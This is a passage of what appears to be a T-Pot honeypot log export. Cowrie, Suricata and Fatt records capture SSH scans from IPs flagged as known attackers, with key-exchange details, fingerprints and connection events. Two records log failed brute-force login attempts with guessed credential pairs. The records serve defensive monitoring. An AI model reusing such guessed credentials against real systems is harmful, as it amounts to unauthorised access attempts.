"AAADVAUUdUHluZdg5B3ztI2h1Jst1AAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAABIfKYXHA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50438, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:55:36.125751Z", "@timestamp": "2021-09-20T11:55:36.125Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..uA...`........-.....ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.............H|..."}}	1	\N	\N	alert	\N	\N
33430	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:55:35.951388+03	2021-09-20 15:00:05.846722+03	{"_id": "qgYPA3wBvYTbRNuEwU_t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "157.245.53.4", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50438, "timestamp": "2021-09-20T11:55:35.951388", "@timestamp": "2021-09-20T11:55:35.951Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33431	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:55:36.126344+03	2021-09-20 15:00:05.847722+03	{"_id": "sQYPA3wBvYTbRNuEw09_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "bff6e25bcde7", "@version": "1", "timestamp": "2021-09-20T11:55:36.126344Z", "@timestamp": "2021-09-20T11:55:36.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
33432	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:55:36.960281+03	2021-09-20 15:00:05.849722+03	{"_id": "sgYPA3wBvYTbRNuEw09_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.login.failed", "message": "login attempt [weblogic/weblogic] failed", "session": "bff6e25bcde7", "@version": "1", "password": "weblogic", "username": "weblogic", "timestamp": "2021-09-20T11:55:36.960281Z", "@timestamp": "2021-09-20T11:55:36.960Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
33433	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:55:36.590021+03	2021-09-20 15:00:05.850722+03	{"_id": "tgYPA3wBvYTbRNuEw0-B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.89.194.160:35052 (192.168.176.2:22) [session: 35150a728e0e]", "session": "35150a728e0e", "@version": "1", "protocol": "ssh", "src_port": 35052, "dest_port": 22, "timestamp": "2021-09-20T11:55:36.590021Z", "@timestamp": "2021-09-20T11:55:36.590Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33434	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:55:37.062287+03	2021-09-20 15:00:05.852723+03	{"_id": "twYPA3wBvYTbRNuEw0-B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.200.124.7:55274 (192.168.176.2:22) [session: 1da1392e9119]", "session": "1da1392e9119", "@version": "1", "protocol": "ssh", "src_port": 55274, "dest_port": 22, "timestamp": "2021-09-20T11:55:37.062287Z", "@timestamp": "2021-09-20T11:55:37.062Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33435	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:55:37.065284+03	2021-09-20 15:00:05.853722+03	{"_id": "uAYPA3wBvYTbRNuEw0-B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "1da1392e9119", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:55:37.065284Z", "@timestamp": "2021-09-20T11:55:37.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33436	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:55:36.768676+03	2021-09-20 15:00:05.855722+03	{"_id": "vAYPA3wBvYTbRNuExE_J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "flow_id": 181880971873844, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35052, "dest_port": 22, "timestamp": "2021-09-20T11:55:36.768676Z", "@timestamp": "2021-09-20T11:55:36.768Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33437	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:55:36.768774+03	2021-09-20 15:00:05.856722+03	{"_id": "ugYPA3wBvYTbRNuExE_J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:55:36.413236+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 181880971873844, "payload": "AAADzAYUkuQK2QsgKTHfsmyBTjZESAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35052, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:55:36.768774Z", "@timestamp": "2021-09-20T11:55:36.768Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........\\n.. )1..l.N6DH...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
33438	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:55:36.594237+03	2021-09-20 15:00:05.858722+03	{"_id": "vwYPA3wBvYTbRNuExU_W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.89.194.160", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35052, "timestamp": "2021-09-20T11:55:36.594237", "@timestamp": "2021-09-20T11:55:36.594Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33439	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:55:37.36278+03	2021-09-20 15:00:05.859722+03	{"_id": "xwYPA3wBvYTbRNuEx09o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.login.failed", "message": "login attempt [helena/helena123] failed", "session": "1da1392e9119", "@version": "1", "password": "helena123", "username": "helena", "timestamp": "2021-09-20T11:55:37.362780Z", "@timestamp": "2021-09-20T11:55:37.362Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33440	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:55:38.1421+03	2021-09-20 15:00:05.860722+03	{"_id": "yQYPA3wBvYTbRNuEy09P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "bff6e25bcde7", "@version": "1", "duration": 2.192026138305664, "timestamp": "2021-09-20T11:55:38.142100Z", "@timestamp": "2021-09-20T11:55:38.142Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
33441	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:55:38.405396+03	2021-09-20 15:00:05.862722+03	{"_id": "ygYPA3wBvYTbRNuEy09P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "1da1392e9119", "@version": "1", "duration": 1.3404192924499512, "timestamp": "2021-09-20T11:55:38.405396Z", "@timestamp": "2021-09-20T11:55:38.405Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33442	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:55:38.769539+03	2021-09-20 15:00:05.863722+03	{"_id": "ywYPA3wBvYTbRNuEy09P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "35150a728e0e", "@version": "1", "duration": 2.176879405975342, "timestamp": "2021-09-20T11:55:38.769539Z", "@timestamp": "2021-09-20T11:55:38.769Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33443	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:55:39.364674+03	2021-09-20 15:00:05.864722+03	{"_id": "zAYPA3wBvYTbRNuEzU-l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "96.78.175.36", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53972, "timestamp": "2021-09-20T11:55:39.364674", "@timestamp": "2021-09-20T11:55:39.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
